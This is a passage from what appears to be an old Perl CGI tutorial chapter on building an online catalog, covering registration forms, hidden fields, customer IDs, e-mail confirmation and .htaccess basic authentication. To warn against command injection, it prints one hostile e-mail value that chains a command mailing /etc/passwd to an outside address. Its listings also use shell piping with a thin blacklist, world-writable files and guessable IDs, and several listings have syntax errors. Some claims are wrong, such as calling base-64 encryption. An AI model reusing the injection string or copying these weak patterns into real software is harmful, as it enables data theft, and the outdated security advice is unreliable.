Welcome to hump day! Today is the day you get to put all of the work from the last three days to effective use. In this chapter, you take the tools you have learned from the previous chapters and put them to use in a practical example. You will work through this example from beginning to end. You will see the various alternatives to the problems you must deal with as you put your CGI programming tools to work. In this chapter, you will explore building on-line catalogs.
In particular, you will learn:
By today, you have seen most of the parts that make CGI programming work. Now that you have a better understanding of each of these parts, let's take a look at how all these parts fit together. Your CGI environment is made up of the web server that your program operates on and the data that gets passed from the web browser software to your CGI program. Your CGI program is responsible for both receiving and decoding the data and making an appropriate response.
From your perspective as a CGI programmer, everything starts from the initial request from the web browser. From a form or a link, your CGI program is activated to perform some specific task. From the HTML form, you have tremendous control over what the data looks like as it is sent to you and how it is sent to your CGI program.
With the HTML form name/value pairs, you can create a data environment that performs multiple functions. Your initial concerns as you build your forms is gathering the data you need to make your application work and how to lay out the form so that it looks good to your web client. But as you start using that data in you CGI programs, you will realize that properly setting up the name/value pairs passed to your CGI program is very helpful.
Because Perl is so helpful in manipulating text, you don't need to worry about many of the programming tricks usually used with character data. In most cases, you can use common words or terms to define the Name field of the name/value pairs sent to your CGI program. Usually, a programmer is concerned about defining variable names that are one connected word, with underscores and dashes used to combine the characters of a variable name into one connected string. This is normally what is required to refer to a single variable name in your program. You don't have to worry about this when defining the Name field of name/value pairs of the HTML form.
Note: Remember, the Name field is a variable name that holds the value of the data entered from your form.
Each name/value pair is separated for you by the ampersand (&); when it is sent to your CGI program as CGI data, your program can search for the ampersand character when decoding each name/value pair set. Next, your program should take advantage of the natural separation of names and values into the indexes and values of a Perl associative array. Using a function like ReadParse, the names of the name/value pair are stored as individual keys or indexes that you can use throughout your CGI program.
In a normal programming environment, you would use your variable names to hold data and then generate other names to display to the human operator. But with Perl's text feature and associative array keys, you don't need to do that! You can use the variable name you use to define the Name field as the same name you display to your web client. Maybe at this point you're saying, "Well, so what! I don't see the big deal here, Eric!"
By using the Name field as grammatically correct English name, you can create a single simple error statement or request for more information and then loop through the associative array of name/value pairs. As you query your customer about the fields you need extra information about, you use the variable name to display to your web client instead of making a unique error message or query message for each piece of information. The programming example in the next section, "Registering Your Customer," is a good example. It is included here in Listing 7.1.
01: print "<ul>";
02: foreach $var (keys (%registration-data) )
03: {
04: if (length($registration-data{"$var"})== 0)
05: {
06: print "<li>Your <em> $var </em> will be used to help confirm your order please fill in the <em> $var </em> field" ;
07: }
08: }
09: print "</ul>";
In this listing, I am trying to point out the print line where the $var variable is used. This is the Name field, and it prints out in correct English and data that is missingfor example, the phone number. If the Phone Number field is missing, the variable name printed will be Phone Numbernot some non-English variable name like phonenum or phnum. This helps make your name/value pairs more understandable in your HTML, but it also really helps to automate your CGI coding because as you add more name/value pairs, your CGI code does not have to change. So just remember to think about your CGI program when you create your HTML form.
You also should be aware that you don't always want to send data to your client from an HTML form. Maybe you want to call a Server Side Include file that passes data to a CGI program. You could do this with a simple hypertext link adding path information and query string data after defining the target URI.
Note: Remember that path information immediately follows the target URI, and query string data follows the target URI but is preceded by a question mark as illustrated here:
If you do send data to your program using the either the extra path information field or the query string field, the data passed in the PATH_INFO and QUERY_STRING variables is not available to the SSI file. But when SSI file calls a CGI program through an SSI exec command as illustrated here:
<!--exec cgi="program.cgi' --> exec
all the environment variables are available for the called CGI program's use, including the PATH_INFO and QUERY_STRING environment variables.
Using the Path_Info and Query_String data fields of a hypertext link to set the PATH_INFO and QUERY_STRING environment variables is one way to send fixed data to your CGI programs without your web client realizing it or ever being required to enter any data. If you have a web site with lots of different pages and you want to respond to each page differently, you don't have to have a different CGI or HTML file for each web page. Just add an identifier as part of the QUERY_STRING or PATH_INFO data. Now when your web client selects a link with the extra data attached, the data will be passed as part of the request header data.
By the way, you don't even have to use an SSI file to pass the data to your CGI program; you can create a link directly to your CGI program. It is not required that you call CGI programs through the HTML form. A simple hypertext link works just as wellfor example,
<a href = "www.domain.com/cgi-bin/program.cgi/web-page42> call my CGI program </a>
The web-page42 would be interpreted as extra path info and is available to the target URI program.cgi as part of the environment variable data.
When you call your web pages or programs like this, remember that everything is shipped to the server as HTTP request headers.
The HTTP request headers are step two in the CGI environment. Step one was providing a means to send the data. If you use a hypertext reference to call your CGI program, the browser will build an HTTP GET Method request header. If you use the previous link as an example, the HTTP request header would look like:
GET http://www.domain.com/cgi-bin/program.cgi/web-page-42? HTTP/1.0
It doesn't really look like the browser has done very much. Before it sent this request header, however, it looked up the domain name in the hypertext reference to make sure it could call your link and then it put together the correct request headers for your hypertext link. Notice that a question mark is appended to the end of the URI. Any time data is sent using the GET method request header, a question mark is appended to the end of the URI; this tells the server when it gets the URI where to stop looking for the extra path information.
Note: You might have figured out by now that you can include any type of data after the target URI, especially after the target URI in the EXTRA_PATH field. The server doesn't look for any special meaning in this data. It just takes everything between the target URI and the question mark and stuffs it into the PATH_INFO environment variable. The data after the question mark also can be just about anything. If you are using a common routine like ReadParse to read the data, you probably will have some trouble with unusual query string data. ReadParse is expecting name/value pairs in the query string. Remember that name/value pairs are separated by an equal sign (=). This means that some formatting of the QUERY_STRING data is expected. If you are going to manage the data yourself, however, you can send anything you want there!
Of course, besides sending the Method request header, the browser sends other request headers that perform tasks such as advising the server what type of browser it is or telling the server or intermediate hosts whether the data can be cached. These other request headers perform useful tasks like what type of languages and data the browser can accept, and, in the case of an authenticate sequence authorization request header, to authenticate the browser with the server. You will learn about the authentication sequence in this chapter.
After the server receives the request headers, it has to figure out what it is supposed to do. One of the first things it does is verify that this is a valid request for this URI. Remember that the server is restricted by the limit command in the `access.conf file to what type of operations are legal. Usually these operations are limited by a directory or tree. The limit commands include a list of the valid Method request headers. The HTTP specification allows for GET, POST, HEAD, PUT, DELETE, LINK, and UNLINK, but the limit command in the access.conf file limits the valid Method request headers to those acceptable to the server.
Before the limit command can be applied, the server first has to determine in which directory the target URI is located.
Note: Remember that the target URI is the first file or program found before the beginning of the QUERY_STRING delineator, the question mark (?). I covered the rules for determining the target URI in Chapter 2 when discussing the uniform resource identifier.
The server traverses the URI after the domain information looking for a file, program, or directory. (The directory is valid only if it is the last field in the URI.) When it finds the target URI, it compares the directory of the target URI with the directory commands in the access.conf file.
If the request method conflicts with the access.conf file, the server is supposed to respond with a status code of 405, Method Not Allowed. This status code should be returned whenever the method specified in the request header is not allowed for the target URI. The server also is supposed to include an Allow HTTP response header identifying the list of the valid request methods for the target URI.
After the server passes the access criteria defined in the access.conf, file it next must look for any further restrictions on the target URI. The individual directory may be password protected by an .htaccess file.
Note: The file name for per-directory password protection could be anything defined in the srm.conf file. The file name is defined by the access file name directive.
If there is an access-restricting file in the directory, then the server must begin an authorization request. The authentication sequence begins by the server sending a status code of 401, UNAUTHORIZED, back to the browser. This response header must include a WWW-Authenticate response header containing a challenge code for the requesting browser to respond to. The browser is required to pop up a user name/password window requesting the web client to enter the required response. If the server passed all these tests, it still has to determine the target URI type. If the target URI is a directory, the server may have to return a directory listing but only as long as the FancyIndexing command is on in the srm.conf file. If the target URI is a directory and the FancyIndexing command is not on, the server will return a status code of 404, NOT FOUND. If the target URI is a file, the server must decide whether the file is a simple HTML file, parsed-HTML file, or a CGI program. Each requires the server to respond differently.
If it is an HTML file, the server generates the response headers of Content-Type: text/html, the size of the response, and other required information and sends the file back to the browser/client.
If it is a parsed HTML file, the server still generates the response headers, but it also must read every line of the file before it can return the file to the browser. In any place the server finds a Server Side Include command, it tries to execute the command and insert the output from the SSI command into the rest of HTML in the parsed file. The output from your SSI Command is inserted into the HTML at exactly the same location the SSI command is in your HTML parsed file. If the SSI command refers to a CGI program, the CGI program is expected to output a content-type response header for the server to use with the other response headers it already has generated.
If the target URI is a CGI program, then the server will call the CGI program and parse the response headers from the CGI program. Any additional headers required, beyond the minimum required response headers, are generated by the server before it returns the output from your CGI program to the requesting browser.
Finally, if the CGI program is identified as a non-parsed header CGI program, the server does not parse the returned headers from the CGI program. All headers and data are sent to the browser without server intervention.
All this occurs before, during, and after your CGI program performs its task. So what does your CGI program do? Of course, the answer is anything you can imagine. It can return its own status header, as you saw back in Chapter 2. Your CGI program will not often return a content-type response header along with a web page generated from your CGI program. That's how it all fits together! You read a similar explanation back in Chapter 1 without quite as much detail as included here. You now should feel relatively comfortable with most of the concepts described here.
In this chapter, you will get to see most of these concepts implemented as you step through the basic steps for building an on-line catalog. It's an excellent example for integrating many of the different topics covered so far.
One of the many things you have to do for a working on-line catalog is to get some information about your customer. In order to ship any merchandise, you need to get a mailing address and some means of confirming the order. Because this information is crucial to completing a sale, you need to perform some minimum data verification. In the next example, you take the registration form you saw in Chapter 4 and perform these tasks and others. During this example, you will learn how to use the hidden field of the HTML form input type. You will learn about validating registration data and how to automatically e-mail a confirmation notice.
In Figure 7.1, you see a blank registration form. This form was generated on-the-fly from the CGI program in Listing 7.2. This program also is used as a confirmation notice. It performs the dual function of sending an initial empty registration form to the customer and confirming with the customer that the data entered in the form is correct.
Figure 7.1. The Leading Rein registration form.
01: #!/usr/local/bin/perl
02: push (@INC, "/usr/local/business/http/accn.com/cgi-bin");
03: require("cgi-lib.pl");
04: print &PrintHeader;
05:
06: &ReadParse(*registration-data);
07: print<<"EOP" ;
08: <HTML>
09: <HEAD><TITLE> Leading Rein confirmation </TITLE>
10: </HEAD>
11: <BODY>
12: EOP
13:14: if (length($registration-data{"First Name"}) >0 && length($registration-data{"Last Name"}) >0 ){
15: print <<"EOP" ;
16: <h3>
17: Thank you $registration-data{"First Name"} $registration-data{"Last Name"} for registering with
18: the Leading Rein.</h3> Please verify the following information and make any corrections necessary.
19: EOP
20: $Registration_Type="Confirm Registration Data"
21: print "<ul>";
22: foreach $var (keys (%registration-data) )
23: {
24: if (length($registration-data{"$var"})== 0)
25: {
26: print "<li>Your <em> $var </em> will be used to help confirm your order please fill in the <em> $var </em> field" ;
27: }
28: }
29: print "</ul>";
30: }
31: else
32: { $Registration_Type="Submit Registration"}
33: if (defined ($registration-data{"Phone Number"} ))
34: { $PhoneNumber = $registration-data{"Phone Number"} ; }
35: else
36: { $PhoneNumber ="(999) 999-9999"; }
37:38: print <<"TEST" ;
39: <hr noshade>
40: <center>
41: <FORM Method=POST Action="/cgibook/chap7/reg2.cgi">
42: <input type=hidden name=SavedName value="$registration-data{'First Name'} $registration-data{'Last Name'}">
43: <table border = 0 width=60%>
44: <caption align = top> <H3>Leading Rein Registration Form </H3></caption>
45: <th ALIGN=LEFT> First Name
46: <th ALIGN=LEFT colspan=2 > Last Name <tr>
47:48: <td>
49: <input type=text size=10 maxlength=20
50: name="First Name" value=$registration-data{"First Name"} >
51: <td colspan=2>
52: <input type=text size=32 maxlength=40
53: name="Last Name" value=$registration-data{"Last Name"} > <tr>
54: <th ALIGN=LEFT colspan=3>
55: Street Address <td> <td> <tr>
56:57: <td colspan=3>
58: <input type=text size=61 maxlength=61
59: name="Street" value="$registration-data{'Street'}" > <tr>
60: <th ALIGN=LEFT > City
61: <th ALIGN=LEFT > State
62: <th ALIGN=LEFT > Zip <tr>
63: <td> <input type=text size=20 maxlength=30
64: name="City" value="$registration-data{'City'}" >
65: <td> <input type=text size=20 maxlength=20
66: name="State" value="$registration-data{'State'}" >
67: <td> <input type=text size=5 maxlength=10
68: name="zip" value="$registration-data{'zip'}" > <tr>
69:70: <th ALIGN=LEFT colspan=1> Phone Number
71: <th ALIGN=LEFT colspan=2> Email Address <tr>
72: <td colspan=1> <input type=text size=15 maxlength=15
73: name="Phone Number" value="$PhoneNumber ">
74: <td colspan=2> <input type=text size=32 maxlength=32
75: name="Email Address" value=$registration-data{"Email Address"} ><tr>
76: <td width=50%> <input type="submit" name="simple" value=$Registration-Type >
77: <td width=50%> <input type=reset> <tr>
78:79: </table>
80: </FORM>
81: </center>
82: <hr noshade>
83: </body>
84: </html>
85: TEST
Each of the fields of the registration form are based on values set by the registration data array returned in line 6 of Listing 7.2 from the ReadParse function.
The registration form presented to your customer even has a different Submit button based on whether a minimum amount of information has been submitted by this customer. In this example, partially for the sake of presenting a reasonable example, I chose to use the first and last name of the catalog customer as the minimum requirements to accepting registration form data.
In line 14, the program checks for any data at all in the First and Last Name fields. If there is data in both these fields, the program returns a confirmation notice, and asks for any data that hasn't been filled in yet, as shown in Figure 7.2.
The first blank form is presented with no data because each of the Value fields of the name/value pairs of the HTML form are set based on the registration data submitted previously. If this is the first time your customer has filled out the data, each field of the registration data array will be empty. With no value supplied the Text<INPUT> type, the text fields remain blank. After your customer submits this data once, however, each field will contain the data entered from the previous submittal.
Figure 7.2. The Leading Rein registration-confirmation form.
Notice in Figure 7.2 that the returned web page has extra information. All of the data the customer filled in is returned on the form and any missing information such as the e-mail address, which wasn't filled in on the first submittal, is asked for.
Line 14 checks the length of the First Name and Last Name fields instead of checking to see whether the fields are defined. The natural inclination would be to check these two fields using the If defined function. This check doesn't work, however, because the Name field is defined as a key to the registration-data array. The Array field is defined even if there isn't any data to store in the array field associated with the key.
After the minimum required data is submitted by the customer, 1)The Submit button is changed in line 9 to reflect the confirmation of registration data and 2)A check of each of the Name fields is performed.
Next, in lines 22 through 28, the submitted registration data is traversed using the for each loop in line 22. Each field is checked to see whether any data has been submitted. No formatting validation of the data is performed. It is pretty hard to determine what is a valid format for a shipping address, however. The amount of programming required and the usefulness of such a program probably exceeds its value. If a field is not filled in, then the customer is asked politely in line 26 to complete the missing data.
This is an excellent example of using variable names for both programming and display use. When the variable name for the missing e-mail field is sent to the screen, the customer sees an English sentence: Your E-mail address is used to help confirm your order. Please fill in the Email Address field. This works because in line 75 of Listing 7.2, I assign the name for the e-mail name/value pair to Email Address. This might seem like a very simple thing, and it is really, but this simple attention to detail makes the simple code in line 26 possible.
Without the definition of a name that can be used in an error message, only three choices are possible. First, you can write out a generic error message that just says one of the fields is not filled in. Second, you can use the existing variable name in your error message and hope that it doesn't confuse your customer. Third, you can create special error messages for each variable and print the message for each missing field of data.
Of the three choices, the third choice is the most reasonable. It requires more work and more code, but you probably could store the error messages in an associative array that you then could index by the variable name. That is really not that bad a solution. Myself, I'm too lazy for that solution.
The real problem with the special error message solution is the need to create a new error message each time you change or add to the registration form. You are likely to forget, or maybe someone else is helping you and doesn't even know they need to create special error messages. This is how bugs start creeping and crawling into your code.
The original solution of using English words or phrases for any variables you might need to display to your user eliminates the need to ever have to add to or change the error message code. If a new field is added to the registration form (like a Credit Card field, for example), as long as you continue to use English words and terms to define the Name field, the error message code continues to work just fine.
Before you leave the error message code, notice that the message is part of an unordered list starting in line 21 and ending in line 29. Because each empty field is a list item (<LI>), a bullet is added to the front of each error message. Yet, if no error messages are generated, the unordered list (<UL>) tags have no effect on the confirmation form.
The last topic this example introduces is the HTML form input type of hidden. Line 42,
<input type=hidden name=SavedName value="$registration-data{'First Name'} $registration-data{'Last Name'}">
creates a hidden input type with the Name field set to SavedName. Other than the Netscape cookie, the hidden field is the best means for keeping track of on-line customers. Because, at least for the moment, most browsers don't implement the Netscape cookie, it is a good idea to get a firm understanding of the hidden input type.
As shown in line 42 of Listing 7.2, the hidden field is another type of the HTML form input type. The hidden input type, as its name indicates, is not visible on the web page. It is designed to be used by CGI programmers to keep track of the state of web transactions just like an on-line catalog. The hidden field can be set permanently in a web page, by hard coding or giving a static value to the hidden name, or as shown in line 42. The hidden field can be set dynamically to some value your CGI program determines.
In this example, the customer's name is used, but you should really use something that is guaranteed to be a little more unique. The process id of the Perl shell running your script is available to your program by using the special Perl $$ variable. The process Id (PID) is supposed to be guaranteed to be unique, and it is when it is created and while that process is running. But, in the CGI environment, that process will end as soon as your CGI program runs. Because you can't predict how long your on-line catalog customer may be surfing and shopping, it is possible for the PID number to get reused while your customer is still shopping. So you shouldn't use the PID by itself to create a unique customer ID. However, you can create a unique customer identifier by combining the PID, the remote IP address, and some fragment of time, as shown in Listing 7.3 and Figure 7.3.
Figure 7.3. A unique customer ID.
01: #! /usr/local/bin/perl
02:
03: print "Content-Type: text/html \n\n";
04:
05: print <<'EOF';
06: <HTML>
07: <HEAD><TITLE> GENERATING A UNIQUE CUSTOMER ID </TITLE>
08: </HEAD>
09: <BODY>
10:
11: <h3> The folowing unique cutomer ID is made up of three parts: <h3>
12: <ul>
13: <li>The first part is the process ID. The process ID is unique for each
14: process, while that process is running.
15: <li>The second part, separated by the dash character (-), is the IP address of
16: the Web Customer.
17: <li>The last part, also separated by the dash character (-), is the number of
18: non-leap seconds since January 1, 1970.
19: </ul>
20: <h3> This should produce a unique value that is difficult to predict, and
21: therfore hard to forge. </h3>
22: <hr noshade>
23: EOF
24: $unique_customer_ID = $$ . "-" . $ENV{'REMOTE_ADDR'} . "-" . time();
25: print " $unique_customer_ID <BR>";
26: print <<'EOF' ;
27: </BODY>
28: </HTML>
29: EOF
Why would you be interested in generating such a unique value to identify your customer? Unfortunately, hidden fields can be seen any time your Web customer selects the View Source button on her browser. She can't change the contents of the returned Web page by editing the source from "view source," but all that is required to modify the field is to save the HTML to disk and to modify it using a regular editor. Then the file can be opened using the file open command on the Web browser. At this moment, if you are using easy to duplicate customer IDs, your Web catalog has the potential of being corrupted by the offending hacker.
Now take this one step further. Suppose that you use the customer ID as an identifier for a file you keep of the customer's purchases, or even worse, customer registration information. If your hacker can figure out by looking at the hidden fields the file names you are using to save data, the hacker might be able to retrieve or corrupt your on-line files. So take the time to create a unique customer ID. The program unique_id.cgi in Listing 7.3 will work just fine.
Now that you have the customer information, what are you going to do with it? The obvious thing to do is to save it into a database for later use. In order to do this, you need to modify the original program for handling on-line catalog registrations. This is pretty easy to handle because your customer has submitted to you a confirmation that the data in the registration form is correct. What is required is to add a subroutine that checks the Submit button's value. If the value equals "confirm registration data," the registration data will be saved. Listing 7.4 shows this in a subroutine for saving registration data.
01: sub save_registration_data {
02: local($regdata) = @_;
03: if ($regdata{'simple'} eq " Confirm Registration Data ")
04: {
05: open (RegDataFile,'>>/usr/local/business/http/accn.com/cgibook/chap7/rdf')
06: || die "cant open reg data file\n";
07:
08: foreach $var (keys (%regdata) )
09: {
10: print (RegDataFile "$var = $regdata{\"$var\"}:");
11: }
12: print "<br>";
13: }
14: }
This is a relatively simple program and does not protect the registration data very well. This is an inherent problem with writing to a file started from a CGI program, however; because your CGI program runs under the group name of nobody, your files must have read write privileges for the world. In Chapter 14, "Security," you will learn how to create a background task called a cron job, which enables you to move your files to a more secure area.
The subroutine for saving the registration data uses the same data format for saving the name/value pairs as set up for regular name/value pairs. That way, you can use the same decoding routines used to decipher the values when passed to your CGI program from a browser or from a file. The registration data file is opened for appending with the use of the ">>" characters. This means that any data that was in the file will be added to and not overwritten. The file does not have to exist prior to the first time it is opened. Perl will create the file for you if it needs to.
The double bars (||) in lines 3 and 4 make an OR statement, which makes one Perl statement that could be read as "Open this file or stop running this program. If you stop running this program, then print the error message Can't open registration data file." This is a standard Perl convention when opening files. Line 6 saves the data to the file separating each name/value pair with a colon. Any unique character will do as a separator; to be completely safe, the program really should check for colons (:) in each registration field. If a colon is found in a registration field, the program then could replace it with another character.
Don't overlook line 8; placing a newline after each line of data is important. This enables you to read your data file one line at a time and gives you a nice separator between each customer's data. You should consider this registration data file as only a temporary file. You will want to write a program to move the data and put it into another file in sorted order. Because these tasks might take a little bit of time, you should not do them when your customer submits his registration data. Create a separate process to perform more time-consuming tasks and let your web client continue without any delay.
After you save your customer's data to a file, you should send an e-mail confirmation notice. This accomplishes two goals. First, it confirms that the e-mail address is valid. Second, it gives the customer a record of the registration transaction. Listing 7.5, which shows how to mail a confirmation notice, is one more subroutine you need to add to the initial registration form.
01: sub mail_confirmation{
02: local($regdata) = @_;
03: $temp = "Thank you $regdata{'First Name'} $regdata{'Last Name'} for registering with the Leading Rein.\n";
04: if ($regdata{'simple'} eq " Confirm Registration Data ")
05: {
06: if ($regdata{'Email Address'} =~ /[;><&\*`\|]/ ){
07: print "<hr><h3> The email address you submitted is malformed.</h3> $regdata{'Email Address'}<hr> ";
08: }
09: else {
10: open (MAIL, "|mail $regdata{'Email Address'}")
11: || die "cant mail program\n";
12: print MAIL <<EOM;
13: $temp
14: Please verify the following information.
15: Your name and mailing address are:
16: $regdata{'First Name'} $regdata{'Last Name'}
17: $regdata{'Street'}
18: $regdata{'City'}, $regdata{'State'} $regdata{'zip'}
19:
20: Your phone number is $regdata{'Phone Number'}
21: EOM
22: }
23: }
Listing 7.5 sends a simple mail confirmation to your catalog customer confirming the validity of the submitted e-mail address for you. If the e-mail address is invalid, you get an unknown address return mail message. If the e-mail address is valid, but not for the person filling in the registration notice, you probably will get some e-mail asking you what the registration e-mail is all about. This process also gives the person registering with your catalog a permanent record of the registration.
The mail confirmation subroutine places the thank-you notice into the temporary variable in line 2 simply to show you an alternative method of printing notices. The variable actually is used in line 13. As with the save registration data subroutine, the program first checks to see whether this is a confirmation notice before doing anything. Then in line 6, the program checks for illegal characters in the e-mail address. When you open the mail program, you are opening a potential security hole. You should never open a system command shell using data passed from a user without first checking the data for illegal or malicious characters. Line 6 looks for anything that might allow another command to be started once you open the shell. There are other ways to check for illegal characters, and this check doesn't even try to verify that the e-mail address is in the correct form. Its only purpose is to keep someone from sending you data such as the following:
dummy@nowhere.com; mail me@tricky.com.< /etc/passwd
When you open the mail program in line 10 using the input from the preceding line, the semicolon (;) allows the second command to be executed. Even if you checked for a valid e-mail address, you might miss the second command, and the second command might mail your system's password file to someone who shouldn't have it!
After the mail program is opened, all you need to do is print the registration data. Various alternatives exist for sending e-mail, and they are discussed in Chapter 11, "Getting Feedback and Sending Information."
The registration form still has a couple of things undone or that could be redone. Because you already have two subroutines that check for a confirmation notice, you should begin to think about putting this check into a subroutine. The next step with this program is to send the customer to another part of the catalog after the registration process is complete. It therefore makes sense to create a subroutine that checks for the Confirmation button, calls the save registration data subroutine, calls the mail confirmation subroutine, and finally redirects the Web customer to another portion of the catalog. I'll leave this exercise up to you own expertise.
Another common task often required of commercial on-line catalogs is to perform some type of customer validation. Your catalog might be set up to automatically send or bill customers. Before you do this, you want some way to confirm that the web customer placing an order is who she says she is. You certainly cannot check her driver's license before she makes her purchase. One method of customer validation is setting up password protections. You can do this in many ways.
One of the easiest ways is to demand a password from every customer who accesses your catalog. This can be done by modifying the access.conf file so that every directory below the document root requires a password to access any time. Then, from the catalog's Welcome page, you could inform users that they must be registered to use this service. Don't scoff! Three of the largest on-line providersProdigy, AOL, and CompuServerequire passwords to access their systems.
This, however, is probably a bit more than you want for an on-line catalog. It would be nice if you could allow your customers to browse through your catalog at their leisure. You want your customer to feel welcome and relaxed looking through your merchandise and making their selections. At some point, however, before you have to go to the trouble of preparing an order, it would be nice if you were confident that the order was placed by a real person that you had somehow previously validated.
One way to let your customers browse and still validate the sales order is to protect one of your directories where the final sale order is made. Both the NCSA httpd server and the CERN server allow password protection of individual directories. Using the NCSA server as the main example, protecting individual directories is relatively straightforward.
When your customer places her final order, she is given the option of validating her order with a user name/password or a phone call. If the customer chooses the faster and easier user name/password route, you can reward her with an extra discount or small gift. The user name/password validated user is presented with a dialog box requesting a user name and password. Figure 7.4 illustrates an invalid response to a previous Username and Password Required dialog box. In the upper half of Figure 7.4 is the Authorization Required message, telling the customer he did not enter a valid user name/password. Also in Figure 7.4, in the bottom half of the screen is a new Username and Password Required dialog box. Each time an authorization request is made by the server, the browser displays a new Username and Password Required dialog box, even when the Authorization Request response header is sent because the client entered an invalid user name/password. There is no limit to the number of times the sequence of user name/password requests and user name/password submittals can be repeated.
Figure 7.4. The Username and Password Required pop-up menu.
The dialog box in Figure 7.4 is provided automatically when a directory is password protected. You password protect a directory by creating a file called .htaccess. The name of the file must be correct, or password protection will not be provided. The file name used for the password is defined in the server root configuration directory in the srm.conf file. The AccessFilename directive defines the password protection file name. The default name for this file is .htaccess. If you are concerned about security, you could change this file name to something not commonly recognizablefor example, .text. Anything will do, actually. The advantage to this becomes clear when someone hacks into your system. One of the first things he will do is try to retrieve your password configuration files. He can use these to figure out where you have saved the actual password files. If your intruder knows what file to look for, he is much more likely to find it. If you have changed the name, that is just one less clue the intruder has to work with. You can set the name to .text by adding the following line to your srm.conf file:
AccessFileName .text
Note: The password files begin with a period (.) to prevent casual viewers from seeing these files. A normal ls directory listing will not show files that begin with period. Use the ls command with a -a switch (ls -a) to see files that begin with a period.
Regardless of what you name your access control file, it can be used to protect any directory it is placed in as long as the Allow Override command allows the per-directory file access.
The access-control file works exactly like the main server access-control file, access.conf, except that the server access-control file uses a Directory command to define which directories it affects. The .htaccess file doesn't include a Directory command because it applies to the directory it is placed in and every directory below it. A simple per-directory access control file might look like the one shown in Listing 7.6.
01: AuthName Leading Rein 02: AuthType Basic 03: AuthUserFile /usr/local/business/http/accn.com/leading-rein/conf/.htpasswd 04: 05: <Limit GET POST> 06: require valid-user 07: </Limit>
This per-directory access-control file defines the realm name to be "The Leading Rein" and the authentication scheme to be basic. You can see the realm name in Figure 7.4. The realm name is displayed in the first line of the Username and Password Required dialog box. The basic authorization scheme is the most common protection scheme used on the Net. The other two valid options are PGP and PEM. Your server must be specifically compiled for these schemes. AuthUserFile defines to the server where the password file is located. This is the main reason for not wanting anyone to have access to your per-directory access-control file; this command identifies where your user names and passwords are located.
The limit directive defines the valid HTTP request method. Inside limit is the simple require command. The require command for this example is set to valid-user. This tells the server that any user name in the password file is allowed access to the directory tree protected by this file. The require command can be set to individual users or group names. Because you must manually build a group name file and you can have a different password file for each directory, it doesn't make much sense to create a group name file.
To create the password file that is listed in the per-directory access-control file (.htpasswd), simply use the htpasswd command that comes with the NCSA server. The syntax of the htpasswd command follows:
htpasswd [ -C ] FILENAME USER-NAME
Table 7.1 summarizes the parameters of the htpassword command.
Parameter |
Meaning |
|
[c] |
Entered as -c and is used only once when you create the password file for the first user. |
|
FILENAME |
Defines the path and file name used in the .htaccess (per-directory access-control) file. The path and file name can be anything you want them to be but they must match the path and file defined by the AuthUserFile directive. You'll usually want to begin this file name with a period (.) to create a hidden file. |
|
USERNAME |
The user name your customer will type into the Username and Password Required dialog box. |
After you enter the htpasswd command, you are prompted for a password for the user account. Be sure not to use English words as passwords. They are much too easy to decipher.
Now when your web client places a user name/password validated order, he is prompted for a user name and password. This happens because the validated order accesses a CGI program that resides in a protected directory. After your client enters the correct user name/password, your CGI script is run, confirming and thanking your web customer for his order. The password-protection methodology works because of the basic authentication scheme that exists on all HTTP 1.0 specification compliant machines.
The HTTP specification defines a straightforward challenge response scheme for the server to validate the authorization of a client. If a client tries to access a protected file, the server is required to return an unauthorized 401 messagean HTTP status response headeras shown in Figure 7.5. As you can see, after the Date and Server Type response headers, the server is required to return a WWW-Authenticate response header.
Figure 7.5. An HTTP Status Response Header Unauthorized message.
The WWW-Authenticate response header identifies to the browser the authorization scheme used by the server (in this case, basic) and the realm (Leading Rein) the authentication is for. The realm is designed to help the person trying to access the web page; remember which user name/password the computer is asking for. The browser receiving the authorization request should present the user with a dialog box for entering the user name password. If the authorization scheme is Basic, the browser returns to the server an Authorization request header. This header has this format:
Authorization: Basic qprsvlmtwqluz+ffo1q==
The long string of gibberish (qprsvlmtwqluz+ffo1q==) is the user id & password base-64 encoded. Base-64 is a specific format of data encryption. This also is referred to as the basic cookie, which is where Netscape got its cookie mechanism.
If the authorization is not accepted by the server, the server responds with a Forbidden (403) status code or an Authorization Refused (411) status code. If the server responds with an Authorization Refused code, the server must include another WWW-Authenticate response header and the client is given a second chance to enter the correct user name/password combination. This sequence can continue indefinitely, allowing a hacker unlimited attempts at cracking the user name/password combination.
After the server accepts the client's authorization, the basic cookie is kept by the browser and the browser now has unrestricted access to the directory tree protected by the authentication scheme.
The main problem with this authorization access is the open nature of the Internet connection. The communication between the client and the server is not secure. However, this means of authorization is at least as secure as each connection in which your credit card is given verbally over the phone lines.
So far, you have registered your customer and given him a means of setting up secure orders, but he hasn't ordered anything! It's no good doing all that work without dealing with the ordering process.
It seems like this should be a relatively simple process, but by now you've learned that there is more to this task than just filling out one form. You've got to allow your customer to look around and shop at his leisure, and you must keep track of his orders as he goes along. Because you've got to keep track of orders throughout the ordering process, it's a good idea to start recording your visitor's movements right away. You don't need anything fancyjust something to uniquely identify each visitor so that you can keep a record of his or her purchases.
Earlier, you developed a simple program to create a unique identifier for a web visitor. The line of code for implementing that unique ID identifier follows:
$unique_id=$$. "-".$ENV{'REMOTE_ADR'} . "-" . time();
It is important to have a unique identifier, because you can expect to have more than one customer at a time a soon as your site becomes popular. It is not to hard to figure out that if you have more than one customer at a time and you save their orders to a file, you're going to need a different file for each customer. But do you have to save the order to a file? No, you don't. There are at least three options you can use to keep track of what your customer is ordering. You can save the data using files, cookies, or hidden fields.
Because you already have learned about hidden fields in this chapter, this section begins with the hidden field. In fact, because the file method requires either the hidden field or the cookie, we'll start with the hidden field and then use a cookie. The file method is relatively simple and will be covered only briefly.
Each time you get a hit on your home catalog page, you are going to have to determine whether that customer is a current customer or a new customer. All your CGI program has to do is check for a hidden field and, if it exists, you know you have a current customer; if it doesn't, you know you've got to generate and ID for this customer. Figure. 7.6 shows part of the main catalog for The Leading Rein, one of my on-line catalog customers. There is nothing visible to indicate whether their customer has an ID. However, once you have visited their site once, some form of identification has been generated. The CGI program that generated this web Page is shown in Listing 7.7.
Figure 7.6. The Leading Rein on-line catalog.
01: #! /usr/local/bin/perl
02: push (@INC, "/usr/local/business/http/accn.com/cgi-bin");
03: require("cgi-lib.pl");
04: print &PrintHeader;
05: &ReadParse(*customer_data);
06:
07: if (length($customer_data{'unique_id'}) == 0){
08: $unique_id = $$ . "-" . $ENV{'REMOTE_ADDR'} . "-" . time();
09: print "generated uid is $unique_id <hr>"; }
10: else{
11: $unique_id = $customer_data{'unique_id'};
12: print "The uid is $customer_data{'unique_id'} <hr>";
13: }
14:
15: print <<"EOT";
16: <html>
17: <head><Title>Leading Rein Horse Supplies-Tack</title></head>
18: <body>
19: <h3> Each tack item featured as a thumbnail image can be clicked on
